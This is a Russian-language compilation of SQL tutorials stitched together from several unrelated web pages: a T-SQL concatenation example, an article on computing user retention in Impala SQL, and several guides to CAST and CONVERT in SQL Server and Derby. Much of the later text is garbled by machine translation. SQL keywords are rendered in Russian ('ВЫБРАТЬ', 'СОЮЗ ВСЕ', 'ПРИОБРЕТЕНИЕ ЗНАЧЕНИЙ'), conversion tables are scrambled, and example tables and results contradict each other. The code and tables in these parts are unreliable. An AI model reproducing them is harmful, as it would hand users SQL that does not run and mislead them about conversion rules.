В приведенном ниже примере несколько строк сцепляются в одну длинную строку для отображения фамилий и инициалов имен вице-президентов из образца базы данных. После фамилии ставится запятая, а после первой буквы инициалов — точка.

-- Uses AdventureWorks  
  
SELECT (LastName + ', ' + SUBSTRING(FirstName, 1, 1) + '. ') AS Name, Title  
FROM DimEmployee  
WHERE Title LIKE '%Vice Pres%'  
ORDER BY LastName ASC;  

[!INCLUDEssResult]

Name               Title                                           
-------------      ---------------  
Duffy, T.          Vice President of Engineering  
Hamilton, J.       Vice President of Production  
Welcker, B.        Vice President of Sales  

См. также

+= (присваивание объединения строк) (Transact-SQL)
ALTER DATABASE (Transact-SQL)
Функции CAST и CONVERT (Transact-SQL)
Преобразование типов данных (ядро СУБД)
Типы данных (Transact-SQL)
Выражения (Transact-SQL)
Встроенные функции (Transact-SQL)
Операторы (Transact-SQL)
SELECT (Transact-SQL)
Инструкции SET (Transact-SQL)

Как посчитать Retention?

В этой заметке разберём как правильно построить отчет по Retention с использованием Redash и языка SQL.
Для начала, в двух словах, что это за метрика Retention rate, почему она важна, какой бывает и каким образом считается.

Retention rate

Метрика Retention rate довольно широко распространена и особенно известна в мобильной индустрии, поскольку позволяет понять насколько хорошо продукт вовлекает пользователей в ежедневное использование. Вспомним (или узнаем) как рассчитывается Retention:
Retention дня X — это N% процентов пользователей, которые вернутся к продукту в день X. Иными словами, если в какой-то конкретный день (день 0) пришло 100 новых пользователей, а на 1-ый день вернулось 15, то Retention 1-го дня составит 15 / 100 = 15%.
Чаще всего выделяют Retention дней 1, 3, 7 и 30 как наиболее описательные метрики продукта, однако полезно в целом рассматривать кривую Retention и делать выводы исходя из нее.

Кривая retention

В конечном итоге нас интересует построение такой кривой, которая показывает удержание пользователей с 0-го дня до 30-го.

Кривая Retention rate c 0-го по 30-ый день

Rolling Retention (RR)

Кроме классического Retention rate выделяют также Rolling Retention (далее RR). При расчете Rolling Retention помимо дня X учитываются также все последующие дни. Таким образом RR 1-го дня — количество пользователей, которые вернулись в 1-ый и последующие дни.

Сравним Retention и Rolling Retention 10-го дня:
Retention10 — количество пользователей, вернувшихся в 10-ый день / количество пользователей, установивших приложение 10 дней назад * 100%.
Rolling Retention10 — количество пользователей, вернувшихся в 10-ый день или позже / количество пользователей, установивших приложение 10 дней назад * 100%.

Гранулярность (retention временных отрезков)

В некоторых отраслях и соответствующих задачах полезно понимать Retention конкретного дня (чаще всего в мобильной индустрии), в других случаях полезно понимать удержание пользователя на разных временных интервалах: например, недельные отрезки или месячные (часто полезно в e-commerce, ретейле).

Пример когорт по месяцам и соответствующий им месячный Retention

Как построить Retention отчет на языке SQL?

Выше мы разобрали как посчитать Retention в формулах. Теперь приложим это к языку SQL.
Допустим, что у нас есть две таблицы: user — храним данные об идентификаторах пользователей и мета-информацию, client_session — информация о посещениях пользователями мобильного приложения.
В запросе будут фигурировать только две эти таблицы, поэтому вы с легкостью сможете адаптировать запрос под себя.
примечание: в рамках данного кода я использую Impala в качестве СУБД.

Собираем размер когорт

SELECT from_unixtime(user.installed_at, "yyyy-MM-dd") AS reg_date,
          ndv(user.id) AS users
   FROM USER
   WHERE from_unixtime(user.installed_at)>=date_add(now(), -60)
     AND from_unixtime(user.installed_at)<=date_add(now(), -31)
   GROUP BY 1

Разберем этот довольно несложный запрос: по каждому дню мы считаем количество уникальных пользователей для отрезка [60 дней назад; 31 день назад].
Чтобы не лезть в документацию: команда ndv() в Impala аналог команды count(distinct).

Считаем количество вернувшихся пользователей по каждой когорте

SELECT from_unixtime(user.installed_at, "yyyy-MM-dd") AS reg_date,
          datediff(cast(cs.created_at AS TIMESTAMP), cast(installed_at AS TIMESTAMP)) AS date_diff,
          ndv(user.id) AS ret_base
   FROM USER
   LEFT JOIN client_session cs ON cs.user_id=user.id
   WHERE 1=1
     AND datediff(cast(cs.created_at AS TIMESTAMP), cast(installed_at AS TIMESTAMP)) between 0 and 30
     AND from_unixtime(user.installed_at)>=date_add(now(), -60)
     AND from_unixtime(user.installed_at)<=date_add(now(), -31)
   GROUP BY 1, 2

В этом запросе ключевая часть содержится в команде datediff: теперь мы считаем для каждой когорты и для каждого datediff количество уникальных пользователей все той же командой ndv() (фактически, количество пользователей которые вернулись в дни от 0-го до 30-го).

Отлично, теперь у нас есть размер когорт и количество вернувшихся пользователей

Собираем все вместе

SELECT reg. reg_date AS date_registration,
       reg.users AS cohort_size,
       cohort.date_diff AS day_difference,
       cohort.ret_base AS retention_base,
       cohort.ret_base/reg.users AS retention_rate
FROM
  (SELECT from_unixtime(user.installed_at, "yyyy-MM-dd") AS reg_date,
          ndv(user.id) AS users
   FROM USER
   WHERE from_unixtime(user.installed_at)>=date_add(now(), -60)
     AND from_unixtime(user.installed_at)<=date_add(now(), -31)
   GROUP BY 1) reg
LEFT JOIN
  (SELECT from_unixtime(user.installed_at, "yyyy-MM-dd") AS reg_date,
          datediff(cast(cs.created_at AS TIMESTAMP), cast(installed_at AS TIMESTAMP)) AS date_diff,
          ndv(user.id) AS ret_base
   FROM USER
   LEFT JOIN client_session cs ON cs.user_id=user.id
   WHERE 1=1
     AND datediff(cast(cs.created_at AS TIMESTAMP), cast(installed_at AS TIMESTAMP)) between 0 and 30
     AND from_unixtime(user.installed_at)>=date_add(now(), -60)
     AND from_unixtime(user. installed_at)<=date_add(now(), -31)
   GROUP BY 1, 2) cohort ON reg.reg_date=cohort.reg_date
    ORDER BY 1,3

Мы получили запрос, который для каждой когорты считает Retention, в итоге результат можно отобразить в таком виде:

Retention rate, посчитанный для каждой когорты пользователей

Построение единственной кривой Retention

Несколько модифицируем наш запрос и получим требуемые данные для построения одной кривой Retention:

SELECT 
       cohort.date_diff AS day_difference,
       avg(reg.users) AS cohort_size,
       avg(cohort.ret_base) AS retention_base,
       avg(cohort.ret_base)/avg(reg.users)*100 AS retention_rate
FROM
  (SELECT from_unixtime(user.installed_at, "yyyy-MM-dd") AS reg_date,
          ndv(user.id) AS users
   FROM USER
   WHERE from_unixtime(user.installed_at)>=date_add(now(), -60)
     AND from_unixtime(user.installed_at)<=date_add(now(), -31)
   GROUP BY 1) reg
LEFT JOIN
  (SELECT from_unixtime(user. installed_at, "yyyy-MM-dd") AS reg_date,
          datediff(cast(cs.created_at AS TIMESTAMP), cast(installed_at AS TIMESTAMP)) AS date_diff,
          ndv(user.id) AS ret_base
   FROM USER
   LEFT JOIN client_session cs ON cs.user_id=user.id
   WHERE 1=1
     AND datediff(cast(cs.created_at AS TIMESTAMP), cast(installed_at AS TIMESTAMP)) between 0 and 30
     AND from_unixtime(user.installed_at)>=date_add(now(), -60)
     AND from_unixtime(user.installed_at)<=date_add(now(), -31)
   GROUP BY 1,2) cohort ON reg.reg_date=cohort.reg_date
    GROUP BY 1        
    ORDER BY 1

Теперь у нас для каждого дня посчитан средний по всем когортам Retention rate.

Больше по теме

SQL Server CAST Функция на практических примерах

Резюме : в этом руководстве вы узнаете, как использовать функцию SQL Server CAST () для преобразования значения или выражения из одного типа в другой.

Введение в SQL Server

CAST () function

Давайте посмотрим на следующий запрос:

 

SELECT 1 + '1' AS result;

Язык кода: PHP (php)

Возвращает 2 как число:

 

результат ----------- 2 (Затронута 1 строка)

В этом операторе SQL Server неявно преобразует символьную строку '1' в число 1 .

Когда вы используете два значения с разными типами данных, SQL Server будет пытаться преобразовать более низкий тип данных в более высокий, прежде чем он сможет обработать вычисление. В SQL Server это называется неявным преобразованием.

В отличие от неявных преобразований, у нас есть явные преобразования, в которых вы вызываете функцию CAST () для явного преобразования значения одного типа в другой:

 

SELECT 1 + CAST (1 AS INT) result;

Язык кода: PHP (php)

Синтаксис функции CAST () следующий:

 

CAST (выражение AS target_type [(длина)])

Язык кода: CSS ( css)

В этом синтаксисе:

  • выражение может быть буквальным значением или допустимым выражением любого типа, которое будет преобразовано.
  • target_type — это целевой тип данных, в который вы хотите преобразовать выражение. Он включает INT , BIT , SQL_VARIANT и т. Д. Обратите внимание, что это не может быть псевдонимом типа данных.
  • длина — необязательное целое число, определяющее длину целевого типа. Длина по умолчанию равна 30.

Функция CAST () возвращает выражение, преобразованное в целевой тип данных.

SQL Server

Примеры функции CAST ()

Давайте рассмотрим несколько примеров использования функции CAST () .

A) Использование функции

CAST () для преобразования десятичной дроби в целое число, пример

В этом примере используется функция CAST () для преобразования десятичного числа 5.95 в целое число:

 

SELECT CAST (5. 95 AS INT) результат;

Язык кода: CSS (css)

Вот результат:

 

результат ----------- 5 (Затронута 1 строка)

B) Использование функции

CAST () для преобразования десятичной дроби в другую десятичную дробь с другой длиной

В следующем примере функция CAST () используется для преобразования десятичного числа 5.95 в другое десятичное число с нулевой шкалой:

 

SELECT CAST (5.95 AS DEC (3,0)) результат;

Язык кода: CSS (css)

Результат будет следующим:

 

результат ------- 6

При преобразовании значения типов данных в разных местах SQL Server вернет усеченный результат или округленное значение в соответствии со следующими правилами:

Из типа данных в тип данных Поведение
числовой числовой Круглый
числовой int Усеченный
числовой круглые деньги Круглые деньги Круглые деньги деньги числовые круглые
с плавающей запятой int с усечением
с плавающей запятой числовые круглые
9016 9016 с плавающей запятой даты Круглый

C) Использование 90 005 CAST ()

функция для преобразования строки в пример значения datetime

В этом примере используется функция CAST () для преобразования строки '2019-03-14' в datetime:

 

SELECT Результат CAST ('2019-03-14' AS DATETIME);

Язык кода: PHP (php)

Результат:

 

результат ----------------------- 2019-03-14 00:00:00. 000 (Затронута 1 строка)

Язык кода: CSS (css)

D) Использование функции

CAST () с арифметическими операторами

Мы будем использовать таблицы sales.orders и sales.order_items из таблицы образец базы данных для демонстрации:

В следующем операторе используется функция CAST () для преобразования ежемесячных продаж в 2017 году в целые числа.

 

ВЫБРАТЬ MONTH (order_date) месяц, CAST (SUM (количество * list_price * (1 - скидка)) AS INT) сумма ОТ продаж.приказы о ВНУТРЕННЕЕ ПРИСОЕДИНЕНИЕ sales.order_items i ON o.order_id = i.order_id КУДА ГОД (order_date) = 2017 ГРУППА ПО МЕСЯЦ (заказ_дата) СОРТИРОВАТЬ ПО месяц;

Язык кода: PHP (php)

На следующем рисунке показан результат:

В этом руководстве вы узнали, как использовать функцию SQL Server CAST () для преобразования значения из одного типа в другой. .

Обзор функций SQL CAST и SQL CONVERT

Эта статья представляет собой попытку обсудить функции SQL Cast и SQL Convert как продолжение предыдущих статей, в которых мы обсудили несколько советов по SQL, таких как SQL Date, SQL Coalesce, SQL Union, SQL Join, SQL Like, SQL String. и Т. Д.

Иногда нам нужно преобразовать данные между разными типами данных SQL. Помимо работы с данными, есть некоторые встроенные функции, которые можно использовать для преобразования данных. Итак, давайте подробнее рассмотрим функции преобразования SQL SQL CAST и SQL CONVERT.

Введение

Для выполнения операций, сравнения или преобразования данных в базе данных SQL Server типы данных SQL этих значений должны совпадать.Когда типы данных SQL различны, они будут проходить через процесс, называемый приведением типов. Преобразование типов данных SQL в этом процессе может быть неявным или явным.

Функции преобразования типов данных обычно используются специально для соответствия стандартам данных целевых объектов или систем. Мы живем в мире с разнородными данными.

Примечание . В этой статье обсуждается пошаговое руководство по высокоуровневым концепциям управления данными. Строковые функции SQL для переноса данных (перестановка) .

Иногда типы данных данных необходимо преобразовать в другие типы данных для вычислений, преобразования или процессов или для соответствия целевым форматам данных. Например, когда мы умножаем данные десятичного типа на целое число, данные подвергаются внутреннему преобразованию и неявно преобразуют целое число в десятичный тип данных, и результатом являются десятичные данные.

Неявное и явное преобразование SQL

Когда мы имеем дело с двумя значениями, которые одинаковы по своей природе, но разные типы данных, за кулисами движок базы данных преобразует значения более низкого типа данных в более высокий тип данных, прежде чем он сможет продолжить вычисления.Этот тип известен как неявное преобразование. С другой стороны, у нас есть явные преобразования, когда вы вызываете функцию SQL CAST или SQL CONVERT для изменения типа данных. Вы можете обратиться к Обзору формата даты SQL; Функция DateDiff SQL, функция DateAdd SQL и другие статьи для примеров.

Синтаксис:

CAST

CAST (exp AS datatype [(len)])

CONVERT

CONVERT (тип данных [(len)], выражение [, style])

exp
Определяет допустимый аргумент выражения

тип данных
Это дает подробную информацию о целевом типе данных

лен
Это определило длину целевого типа данных.По умолчанию это необязательный параметр, значение длины установлено на 30.

стиль
Это целое число, используемое функцией SQL CONVERT для преобразования выражения в желаемый результат.

Таблица преобразования данных SQL Convert and Cast

Следующая таблица преобразования представляет собой краткий справочный лист по преобразованию типов данных.

Ссылка: https://docs.microsoft.com/en-us/sql/t-sql/functions/cast-and-convert-transact-sql?view=sql-server-2017

Пример 1: Неявное преобразование SQL с числами

В следующем примере добавляются два случайных числа 5 и 212345 и отображаются результаты.

DECLARE @a int = 5, @b bigint = 212345

SELECT @a, @b, @ a + @ b

Мы видим, что эти два значения относятся к разным типам данных, движок базы данных неявно преобразовал значение int в bigint, прежде чем он произвел добавление. И затем он может обработать операцию сложения, поскольку они станут одним и тем же типом данных.

Пример 2: Неявное преобразование SQL с символами

В следующем примере мы добавим два символьных типа данных.Давайте создадим переменные @a символьного типа данных и присвоим значение «5» и @b со значением «2».

ЗАЯВИТЬ @a char = ‘5’, @b char = ‘2’

SELECT @a, @b, @ a + @ b

В выходных данных, во-первых, мы получаем значения переменных «a» и «b», во-вторых, и результат вычисления, который представляет собой оба значения вместе. При наличии символьных значений механизм базы данных неявно решил объединить оба значения и отобразить 52 в качестве результата вычисления.

Пример 3: Как выполнить явное преобразование с использованием SQL Cast

В следующем примере мы увидим, как принудительно преобразовать один тип данных в другой. Давайте возьмем приведенный выше пример и преобразуем входные значения в числовой тип, а затем добавим эти значения.

DECLARE @a char = ‘5’, @b char = ‘2’

SELECT @ a, @ b, cast (@a as int) + cast (@b as int)

Функция SQL CAST принимает два аргумента.Во-первых, данные, которые мы хотим обработать, в данном случае это данные «5» и «2» и имеют поле типа char, а затем то, как вы хотите их обработать или как мы хотим их преобразовать. В этом случае вы хотите преобразовать его в целочисленное поле.

В выводе вы замечаете, что значения входных символов преобразованы, а также добавлены эти значения, и результат имеет целочисленный тип.

Пример 4: Расширенная обработка ошибок с использованием TRY_CAST

В следующем примере мы дополнительно проанализируем значения типов данных с помощью функции преобразования SQL и функции SQL try_cast.

В следующем SQL строковое значение «123» преобразуется в BIGINT. Преобразование было возможно из-за характера данных. Давайте посмотрим на второй пример, строковое значение «xyz» используется в выражении для функции преобразования SQL. При этом вы увидите сообщение об ошибке «Ошибка преобразования типа данных varchar в bigint». Когда вы проводите анализ данных с различными источниками данных, мы обычно получаем такие значения в исходных данных. Итак, чтобы справиться с подобными сценариями, вы можете использовать функцию SQL try_cast.В третьей строке SQL мы передаем строку в качестве входного значения, после выполнения мы не получили ошибку, но в конечном итоге получили значение NULL в качестве выходного. Значение NULL можно дополнительно упростить с помощью функции SQL ISNULL или функции объединения SQL.

Примечание : дополнительную информацию можно найти в статье Использование функции SQL Coalesce в SQL Server.

ВЫБРАТЬ TRY_CAST (‘123’ КАК BIGINT);

GO

SELECT CAST (‘xyz’ AS BIGINT);

GO

SELECT TRY_CAST (‘xyz’ AS BIGINT);

GO

SELECT ISNULL (TRY_CAST (‘xyz’ AS BIGINT), 99);

Пример 5: Объяснение кода стиля в функциях CONVERT

В следующем примере поле hiredate преобразуется в различные доступные стили функции преобразования SQL.Функция преобразования SQL сначала начинается с типа данных и запятой, а затем следует выражение. С Dates у нас есть еще один аргумент, который мы можем предоставить, это код в стиле SQL. Вы можете получить их список в технической документации статьи CAST and CONVERT (Transact-SQL).

SELECT hiredate,

CONVERT (CHAR (50), нанятый),

CONVERT (CHAR (50), наемный, 1) ‘S-1’,

CONVERT (CHAR (50), наемный, 101) s-101 ‘,

CONVERT (CHAR (50), наемный сотрудник, 102)’ s-102 ‘,

CONVERT (CHAR (50), наемный, 103)’ s-103 ‘,

CONVERT (CHAR (50 ), нанятый, 104) ‘s-104’,

CONVERT (CHAR (50), наемный, 105) ‘s-105’

FROM HumanResources. Наемный рабочий;

Давайте продолжим выполнение вышеупомянутого SQL. Теперь мы видим, что различные выходные данные отображаются при использовании параметров стиля в функции преобразования SQL. Вы можете видеть, что поле hiredate преобразует поле даты в разные стили.

Пример 6: Различия и сходство между CAST и CONVERT

В следующем примере вы можете видеть, что использование CAST и CONVERT в следующем T-SQL для сравнения времени выполнения.

Давайте запустим следующий T-SQL, чтобы использовать функцию SQL CAST

SET STATISTICS TIME ON

WITH temp

AS (SELECT CAST (GETDATE () AS DATE) AS cast_date,

0 AS n

UNION ALL

SELECT CAST (GETDATE () + n AS DATE) AS cast_date ,

n + 1

FROM temp

WHERE n & lt; 1000000)

SELECT MAX (cast_date)

FROM temp OPTION (MAXRECURSION 0);

Теперь запустите тот же T-SQL с функцией SQL CONVERT.

SET STATISTICS TIME ON

WITH temp

AS (SELECT CONVERT (DATE, GETDATE (), 20) AS convert_date,

0 AS n

UNION ALL

SELECT CONVERT (DATE, GETDATE () + n, 20) AS convert_date,

n + 1

FROM temp

WHERE n & lt; 1000000)

SELECT MAX (convert_date)

FROM temp OPTION (MAXRECURSION 0);

Советы:

  • CAST — это исключительно стандарт ANSI-SQL.Но CONVERT — это специфическая функция SQL Server, аналогично мы используем to_char или to_date в Oracle .
  • CAST преимущественно доступен во всех продуктах баз данных из-за его портативности и удобства использования
  • Не будет большой разницы в плане выполнения запросов между функциями SQL Cast и SQL Convert. Вы можете увидеть небольшую разницу во времени выполнения, это связано с внутренним преобразованием SQL CAST в его собственную функцию SQL CONVERT, но функция CONVERT поставляется с опцией «Код стиля» для получения различных комбинаций даты и времени, десятичных знаков и денежные значения. В любом случае функция SQL CONVERT работает немного лучше, чем функция SQL CAST.

Пример 7: Код стиля при вычислении с помощью CONVERT

В этом примере вы укажете поле рейтинга из таблицы HumanResources.EmployeeHistory базы данных Adventureworks2016. Второй столбец в SQL использует функцию SQL CONVERT с типом данных char (10), а данные скорости выражения умножают его на 1000.

Первый SQL, код стиля не используется, но для второго и третьего SQL код стиля установлен на 1.

SELECT TOP 3 Rate,

CONVERT (CHAR (10), rate * 1000) AS TextPrice

FROM HumanResources.EmployeePayHistory;

SELECT TOP 3 Rate,

CONVERT (CHAR (10), rate * 1000, 0) AS TextPrice

FROM HumanResources.EmployeePayHistory;

SELECT TOP 3 Rate,

CONVERT (CHAR (10), rate * 1000, 1) AS TextPrice

FROM HumanResources.EmployeePayHistory;

На выходе мы видим, что запрос с кодом стиля 1 возвращает текстовый вывод с разделителем-запятой в позиции тысяч. Запрос с кодом стиля 0 приводит к выводу текста без разделителя запятой.

Заключение

До сих пор мы говорили о функциях SQL cast, SQL try_cast и SQL convert, а также о том, как можно преобразовывать строки, целые числа и значения даты и времени.Мы также рассмотрели функцию SQL CONVERT с кодом стиля. Мы рассмотрели несколько примеров неявных и явных функций преобразования SQL. И мы поняли разницу между функциями SQL CAST и SQL CONVERT. Вы также видите, что условное выражение используется с SQL ISNULL вместе с SQL try_cast, и опять же, если бы я сделал это без использования части try, он бы не смог вернуть значение. Вот как вы можете приводить значения, что довольно стандартно, с этим дополнительным уровнем, а также и ошибки более изящно.

На этом пока все … Надеюсь, вам понравилась эта статья. Не стесняйтесь комментировать ниже.


Я технолог по базам данных, имеющий более 11 лет богатого практического опыта работы с технологиями баз данных. Я являюсь сертифицированным специалистом Microsoft и имею степень магистра компьютерных приложений.

Моя специальность заключается в разработке и внедрении решений высокой доступности и кроссплатформенной миграции БД. В настоящее время работают над технологиями SQL Server, PowerShell, Oracle и MongoDB.

Посмотреть все сообщения от Prashanth Jayaram

Последние сообщения от Prashanth Jayaram (посмотреть все)

Функции Cast () и Convert () в SQL Server

В этой статье мы увидим, как использовать функции преобразования и преобразования в SQL Server 2012. Функции преобразования и преобразования предоставляют аналогичные функции. Они используются для преобразования значения из одного типа данных в другой. Итак, давайте посмотрим на практический пример. Пример разработан в SQL Server 2012 с использованием SQL Server Management Studio.

Функция Cast () в SQL Server

Функция Cast () используется для преобразования переменной типа данных или данных из одного типа данных в другой тип данных. Функция Cast () предоставляет тип данных динамическому параметру (?) Или значение NULL.

Синтаксис

CAST ([Expression]
AS Datatype)

Тип данных, к которому выполняется преобразование выражения, является целевым типом. Тип данных выражения, из которого выполняется приведение, является типом источника.

Пример 1

  1. DECLARE @A varchar (2)
  2. DECLARE @B varchar (2)
  3. DECLARE @C varchar (2)
  4. set @ A = 25
  5. set @ B = 15
  6. set @ C = 33
  7. Выберите CAST (@A как int) + CAST (@B как int) + CAST (@C как int) как результат

Пример 2

  1. DECLARE @Z char (30)
  2. SELECT @ Z = current_timestamp
  3. выберите CAST (@Z как дату) как результат

Функция Convert () в SQL Server

При преобразовании выражений из одного типа в другой во многих случаях будет необходимость в хранимой процедуре или другой подпрограмме для преобразования данных из типа datetime в тип varchar. Для этого используется функция Convert. Функцию CONVERT () можно использовать для отображения данных даты / времени в различных форматах.

Синтаксис

CONVERT (data_type (length), expression, style)

Style — значения стиля для преобразования datetime или smalldatetime в символьные данные. Добавьте 100 к значению стиля, чтобы получить четырехзначный год, включающий век (гггг).

Пример 1

В этом примере мы берем значение стиля 108, которое определяет следующий формат:

чч: мм: сс

Теперь используйте указанный выше стиль в следующем запросе:

  1. select convert (varchar (20), GETDATE (), 108)

В этом примере мы используем значение стиля 107, которое определяет следующий формат:

Mon dd, yy

Теперь используйте этот стиль в следующий запрос:

  1. select convert (varchar (20), GETDATE (), 107)

Пример 2

В этом примере мы видим разные значения стиля, которые определяют следующий формат.

  1. SELECT CONVERT (VARCHAR (15), GETDATE (), 6)
  2. go
  3. SELECT CONVERT (VARCHAR (16), GETDATE (), 106)
  4. go
  5. SELECT CONVERT (VARCHAR (24), GETDATE (), 113)
  1. select convert (varchar (20), GETDATE (), 108)

Пример 3

В этом примере мы используем значение стиля 107, которое определяет следующий формат:

Mon dd, yy

Теперь используйте этот стиль в следующем запросе:

  1. select convert (varchar (20), GETDATE (), 107)

Пример 4

В этом примере мы видим разные значения стиля, которые определяют следующий формат.

  1. SELECT CONVERT (VARCHAR (15), GETDATE (), 6)
  2. go
  3. SELECT CONVERT (VARCHAR (16), GETDATE (), 106)
  4. go
  5. SELECT CONVERT (VARCHAR (24), GETDATE (), 113)

SQL CAST-функция — javatpoint

Функция SQL CAST в основном используется для преобразования выражения из одного типа данных в другой тип данных. Если функция CAST SQL Server не может преобразовать объявление в требуемый тип данных, эта функция возвращает ошибку.Мы используем функцию CAST для преобразования числовых данных в символьные или строковые данные.

Синтаксис:

CAST (выражение AS [тип данных])

Здесь [тип данных] — это тип допустимых типов данных в СУБД.

Синтаксис:

CAST (ВЫРАЖЕНИЕ КАК Data_ Type [(длина)] _ _ CAST в примере SQL SELECT CAST (123 AS VARCHAR (20)) [имя_результата] ОТ [Источник]

  • Выражение : это допустимое выражение, в котором мы хотим преобразовать тип данных в SQL.
  • Data_type : это тип данных, в который мы хотим преобразовать выражение.
  • Длина : необязательный параметр целочисленного типа. Мы можем использовать этот параметр, чтобы определить длину любого целевого типа данных.

По умолчанию 30.

Примеры:

Здесь мы будем использовать следующие таблицы.

Менеджер стола _ Оценка

Имя столбца Тип даты
Идентификатор менеджера Целое число
Имя знак (20)
Оценка поплавок

Таблица содержит следующие строки:

Таблица Manager_Score

ManagerID Имя Оценка
1 Джем 92.2
2 Боби 87,5
3 жениться 70
4 Санджу 120,2

Пример 1:

SELECT First_Name, CAST (Оценка как целое число) Int_Score FROM Student_Score;

Результат:

Имя Int_Score
Джем 92
Боби 87
жениться 70
Санджу 120

В примере мы используем функцию CAST для преобразования столбца SCORE из типа FLOAT в INTEGER. Когда мы это делаем, различные СУБД имеют множество правил для обработки чисел с точностью до десятичной точки.

В соответствии с приведенным выше примером числа после десятичной точки усекаются.

Пример 2:

SELECT First_Name, CAST (Оценка AS char (3)) Char_Score FROM Student_Score;

Результат:

Имя Char__Score
Джем 85.
Боби 92.
жениться 90
Санджу 110

В примере 2 мы используем функцию CAST для преобразования столбца SCORE из типа FLOAT в CHAR (3). Когда мы это делаем, мы сохраняем только первые 3 символа. Если имеется более трех символов, все после первых трех символов отбрасывается.


Функция CAST

Функция CAST преобразует значение из одного типа данных в другой. и предоставляет тип данных для динамического параметра (?) или значение NULL.

Выражения CAST разрешены везде, где разрешены выражения.

Синтаксис

  CAST ([ Выражение  | NULL |?]
    AS  Тип данных )  

Тип данных, к которому вы приведение выражения — это целевой тип . Тип данных выражения из которого вы выполняете приведение, это тип источника .

преобразований CAST между типами данных SQL-92

Следующие таблица показывает допустимые явные преобразования между исходными типами и целевыми типами для типов данных SQL.В этой таблице показано, какие явные преобразования между данными типы действительны. В первом столбце таблицы перечислены типы данных источника. В первой строке перечислены целевые типы данных. «Y» означает, что конверсия от источника до цели действительно. Например, первая ячейка в во второй строке указан тип данных источника SMALLINT. Остальные ячейки на вторая строка указывает, можете ли вы преобразовать SMALLINT в цель типы данных, перечисленные в первой строке таблицы.

Таблица 1.Явные преобразования между исходными и целевыми типами для данных SQL типы
Типы

B
O
O
L
E
A
N

S
M
A
L
L
I
N
T

I
N
T
E
G
E
R

B
I
G
I
N
T

D
E
C
I
M
A
L

справа
E
A
L

D
O
U
B
L
E

F
L
O
A
T

C
H
A
R

В
A
R
C
H
A
R

L
O
N
G

V
A
R
C
H
A
R

C
H
A
R

F
O
R

B
I
T

D
A
T
A

V
A
R
C
H
A
R

F
O
R

B
I
T

D
A
T
A

L
O
N
G

V
A
R
C
H
A
R

F
O
R

B
I
T

D 32 A
T
A
T 9

C
L
O
B

B
L
O
B

D
A
T
E

T
I
M
E

T
I
M
E
S
T
A
M
P

X
M
L

БУЛЕВЫЙ Y Y Y Y Y
МАЛЕНЬКИЙ Y Y Y Y Y Y Y Y
ЦЕЛОЕ Y Y Y Y Y Y Y Y
BIGINT Y Y Y Y Y Y Y Y
ДЕСЯТИЧНЫЙ Y Y Y Y Y Y Y Y
НАСТОЯЩИЙ Y Y Y Y Y Y Y
ДВОЙНОЙ Y Y Y Y Y Y Y
ПОПЛАВОК Y Y Y Y Y Y Y
СИМВОЛ Y Y Y Y Y Y Y Y Y Y Y Y
VARCHAR Y Y Y Y Y Y Y Y Y Y Y Y
ДЛИННЫЙ VARCHAR Y Y Y Y Y
СИМВОЛ ДЛЯ БИТОВЫХ ДАННЫХ Y Y Y Y Y
VARCHAR FOR BIT DATA Y Y Y Y Y
ДЛИННЫЙ СИМВОЛ ДЛЯ БИТОВЫХ ДАННЫХ Y Y Y Y Y
CLOB Y Y Y Y Y
BLOB Y
ДАТА Y Y Y
ВРЕМЯ Y Y Y
TIMESTAMP Y Y Y Y Y
XML Y

Если преобразование допустимо, CAST разрешены. Несовместимость размеров между исходным и целевым типами может вызвать ошибки времени выполнения.

Примечания

В этом обсуждении Derby SQL-92 типы данных делятся на следующие категории:
  • логический
  • числовой
  • строка
  • дата / время

Преобразования в логические типы и обратно

Значение типа BOOLEAN может быть явно приведено к любому из строковых типов. Результат «истина», «ложь» или ноль.И наоборот, строковые типы можно преобразовать в BOOLEAN. Однако возникает ошибка, если строковое значение не ‘true’, ‘false’, ‘unknown’ или null. Преобразование «неизвестно» в логическое приводит к нулевому значению.

Преобразования из числовых типов

Числовой тип может быть преобразованным в любой другой числовой тип. Если целевой тип не может представлять не дробный компонент без усечения, возникает исключение. Если целевое числовое значение не может представлять дробную составляющую (масштаб) исходное числовое значение, то исходный код автоматически усекается, чтобы соответствовать целевому. Например, приведение 763.1234 к INTEGER дает 763.

Преобразования из и в битовые строки

Битовые строки могут быть преобразованы в другие битовые строки, но не в символьные строки. Струны которые преобразованы в битовые строки, дополняются конечными нулями, чтобы соответствовать размер целевой битовой строки. Тип BLOB более ограничен и требует явное приведение. В большинстве случаев тип BLOB не может быть приведен к и от другие виды.

Преобразование значений даты / времени

A значение даты / времени всегда можно преобразовать в TIMESTAMP и обратно.Если ДАТА преобразуется в TIMESTAMP, компонент TIME результирующего TIMESTAMP всегда 00:00:00. Если значение данных TIME преобразуется в TIMESTAMP, Компонент DATE установлен на значение CURRENT_DATE в то время, когда CAST выполнен. Если TIMESTAMP преобразуется в DATE, компонент TIME молча усеченный. Если TIMESTAMP преобразуется в TIME, компонент DATE молча усеченный.

Преобразование значений XML

Значение XML не может быть преобразован в любой тип, отличный от XML, с помощью явного или неявного CAST. Используйте оператор XMLSERIALIZE для преобразования Тип XML в символьный тип.

Примеры

  SELECT CAST (миль AS INT)
ОТ рейсов
- конвертировать отметки времени в текст
ВСТАВИТЬ В mytable (text_column)
ЗНАЧЕНИЯ (CAST (CURRENT_TIMESTAMP КАК VARCHAR (100)))
- вы должны указать NULL как тип данных, чтобы использовать его
ВЫБЕРИТЕ авиакомпанию
ОТ Авиакомпании
СОЮЗ ВСЕ
ЗНАЧЕНИЯ (CAST (NULL AS CHAR (2)))
- преобразовать двойное число как десятичное
ВЫБЕРИТЕ CAST (FLYING_TIME AS DECIMAL (5,2))
ОТ РЕЙСОВ
- бросить МАЛЕНЬКИЙ на БОЛЬШОЙ
ПРИОБРЕТЕНИЕ ЗНАЧЕНИЙ (ПРИЛОЖЕНИЕ (12 как МАЛЕНЬКИЙ) как БОЛЬШОЕ)  

SQL CAST-функция

Функция SQL CAST преобразует выражение из одного типа данных в другой.Если функция SQL Server CAST не может преобразовать выражение в нужный тип данных, эта функция вернет ошибку. Синтаксис функции SQL Server CAST:

.
 CAST (выражение AS Data_Type [(длина)])

- Пример использования SQL
ВЫБРАТЬ CAST (123 КАК VARCHAR (50)) КАК [имя_результата]
ИЗ [Источник] 
  • Выражение: Допустимое выражение, которое вы хотите преобразовать в нужный тип данных в SQL Server.
  • Data_Type: Укажите тип данных, в который вы хотите преобразовать выражение
  • Длина: Это необязательный параметр целочисленного типа.Используйте этот параметр, чтобы определить длину целевого типа данных. По умолчанию это 30.

SQL CAST Пример 1

Функция CAST SQL Server преобразует любое допустимое выражение в желаемый тип. Следующий запрос функции CAST преобразует строку в целое и десятичное.

